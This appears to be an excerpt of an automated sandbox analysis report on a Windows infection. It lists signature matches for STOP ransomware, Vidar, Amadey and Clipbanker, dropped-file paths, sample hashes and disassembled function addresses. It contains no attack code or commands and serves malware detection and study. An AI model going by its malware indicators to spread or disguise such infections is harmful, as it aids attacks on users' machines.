Source: Process Memory Space: C06.exe PID: 3616, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: build2.exe PID: 3368, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: C06.exe PID: 3808, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: C06.exe PID: 5172, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: C:\Users\user\AppData\Local\Temp\374E.exe, type: DROPPED	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe, type: DROPPED	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown

.NET source code contains very large array initializations

Source: 47.2.1CEF.exe.877498.1.raw.unpack, dnlibDotNetFieldAttributesb.cs

Large array initialization: _202C_202B_206C_202E_206E_206D_200B_200D_206E_202B_202E_206F_206B_200E_202A_202A_200D_202B_206B_200D_200F_202B_206B_202C_202A_200D_206E_200D_202E_202B_206A_206B_202B_206C_200E_202E_206F_202C_202B_202D_202E: array initializer size 2384

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_00413541	8_2_00413541
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_004115FD	8_2_004115FD
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_00411B41	8_2_00411B41
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0041277D	8_2_0041277D
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_00407B17	8_2_00407B17
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02327220	8_2_02327220
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_023A22C0	8_2_023A22C0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0236E37C	8_2_0236E37C
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02327393	8_2_02327393
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0233F030	8_2_0233F030
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232A026	8_2_0232A026
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232B000	8_2_0232B000
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232B0B0	8_2_0232B0B0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_023230F0	8_2_023230F0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_023270E0	8_2_023270E0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_023300D0	8_2_023300D0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02329120	8_2_02329120
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0236E141	8_2_0236E141
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0234D1A4	8_2_0234D1A4
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0236B69F	8_2_0236B69F
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232A699	8_2_0232A699
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232E6E0	8_2_0232E6E0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232C760	8_2_0232C760
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232A79A	8_2_0232A79A
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0234D7F1	8_2_0234D7F1
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02323520	8_2_02323520
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02327520	8_2_02327520
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232CA10	8_2_0232CA10
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02327A80	8_2_02327A80
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02330B00	8_2_02330B00
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02322B60	8_2_02322B60
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232DBE0	8_2_0232DBE0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02327880	8_2_02327880
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_023418D0	8_2_023418D0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0232A916	8_2_0232A916
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0234F9B0	8_2_0234F9B0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0234E9A3	8_2_0234E9A3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_023259F7	8_2_023259F7
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_023289D0	8_2_023289D0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02328E60	8_2_02328E60
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02354E9F	8_2_02354E9F
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02362D1E	8_2_02362D1E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02325DF7	8_2_02325DF7
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02325DE7	8_2_02325DE7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_052752A0	10_2_052752A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_052750E4	10_2_052750E4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_052746B4	10_2_052746B4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05274433	10_2_05274433
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05274CFC	10_2_05274CFC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05271440	10_2_05271440
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05271000	10_2_05271000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_052721D0	10_2_052721D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05381350	10_2_05381350
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538D9B0	10_2_0538D9B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538D5B0	10_2_0538D5B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_053894A0	10_2_053894A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538DCA0	10_2_0538DCA0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05389190	10_2_05389190
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538A2F0	10_2_0538A2F0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05381630	10_2_05381630
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538D210	10_2_0538D210
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538A000	10_2_0538A000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05381000	10_2_05381000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05389770	10_2_05389770
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_053899B0	10_2_053899B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_05389C80	10_2_05389C80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538CDE0	10_2_0538CDE0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040D240	11_2_0040D240
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00419F90	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00405057	11_2_00405057
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040C070	11_2_0040C070
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0042E003	11_2_0042E003
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0042F010	11_2_0042F010
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00408030	11_2_00408030
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004070E0	11_2_004070E0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00410160	11_2_00410160
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004C8113	11_2_004C8113
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004021C0	11_2_004021C0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004C9343	11_2_004C9343
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0044237E	11_2_0044237E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00405447	11_2_00405447
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00405457	11_2_00405457
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004084C0	11_2_004084C0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004344FF	11_2_004344FF
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00449506	11_2_00449506
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0044B5B1	11_2_0044B5B1
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040A660	11_2_0040A660
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00409686	11_2_00409686
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0041E690	11_2_0041E690
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00406740	11_2_00406740
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00402750	11_2_00402750
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040A710	11_2_0040A710
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040F730	11_2_0040F730
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00408780	11_2_00408780
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0044D7A1	11_2_0044D7A1
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0042C804	11_2_0042C804
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00406880	11_2_00406880
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00481920	11_2_00481920
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0044D9DC	11_2_0044D9DC
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004069F3	11_2_004069F3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00449A71	11_2_00449A71
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00443B40	11_2_00443B40
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00402B80	11_2_00402B80
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00406B80	11_2_00406B80
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00409CF9	11_2_00409CF9
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0044ACFF	11_2_0044ACFF
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040DD40	11_2_0040DD40
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00427D6C	11_2_00427D6C
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040BDC0	11_2_0040BDC0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00409DFA	11_2_00409DFA
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0042CE51	11_2_0042CE51
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00406EE0	11_2_00406EE0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00409F76	11_2_00409F76
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00420F30	11_2_00420F30
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00449FE3	11_2_00449FE3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_00413541	15_2_00413541
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_004115FD	15_2_004115FD
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_00411B41	15_2_00411B41
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0041277D	15_2_0041277D
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_00407B17	15_2_00407B17
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02327220	15_2_02327220
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_023A22C0	15_2_023A22C0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0236E37C	15_2_0236E37C
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02327393	15_2_02327393
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0233F030	15_2_0233F030
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232A026	15_2_0232A026
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232B000	15_2_0232B000
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232B0B0	15_2_0232B0B0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_023230F0	15_2_023230F0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_023270E0	15_2_023270E0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_023300D0	15_2_023300D0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02329120	15_2_02329120
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0236E141	15_2_0236E141
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0234D1A4	15_2_0234D1A4
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0236B69F	15_2_0236B69F
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232A699	15_2_0232A699
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232E6E0	15_2_0232E6E0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232C760	15_2_0232C760
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232A79A	15_2_0232A79A
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0234D7F1	15_2_0234D7F1
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02323520	15_2_02323520
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02327520	15_2_02327520
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232CA10	15_2_0232CA10
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02327A80	15_2_02327A80
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02330B00	15_2_02330B00
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02322B60	15_2_02322B60
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232DBE0	15_2_0232DBE0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02327880	15_2_02327880
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_023418D0	15_2_023418D0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0232A916	15_2_0232A916
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0234F9B0	15_2_0234F9B0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0234E9A3	15_2_0234E9A3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_023259F7	15_2_023259F7
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_023289D0	15_2_023289D0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02328E60	15_2_02328E60
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02354E9F	15_2_02354E9F
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02362D1E	15_2_02362D1E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02325DF7	15_2_02325DF7
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02325DE7	15_2_02325DE7

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: lz32.dll	Jump to behavior

Source: 98D7.exe.1.dr

Static PE information: Number of sections : 12 > 10

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 30.2.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 34.2.C06.exe.23f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 34.2.C06.exe.23f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.C06.exe.24015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.2.C06.exe.24015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 41.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 41.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.374E.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 17.0.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 11.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 44.2.build3.exe.24215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 44.2.build3.exe.24215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 8.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 30.0.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 34.2.C06.exe.23f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 34.2.C06.exe.23f15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 50.2.C06.exe.23415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 50.2.C06.exe.23415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 44.2.build3.exe.24215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 44.2.build3.exe.24215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 8.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
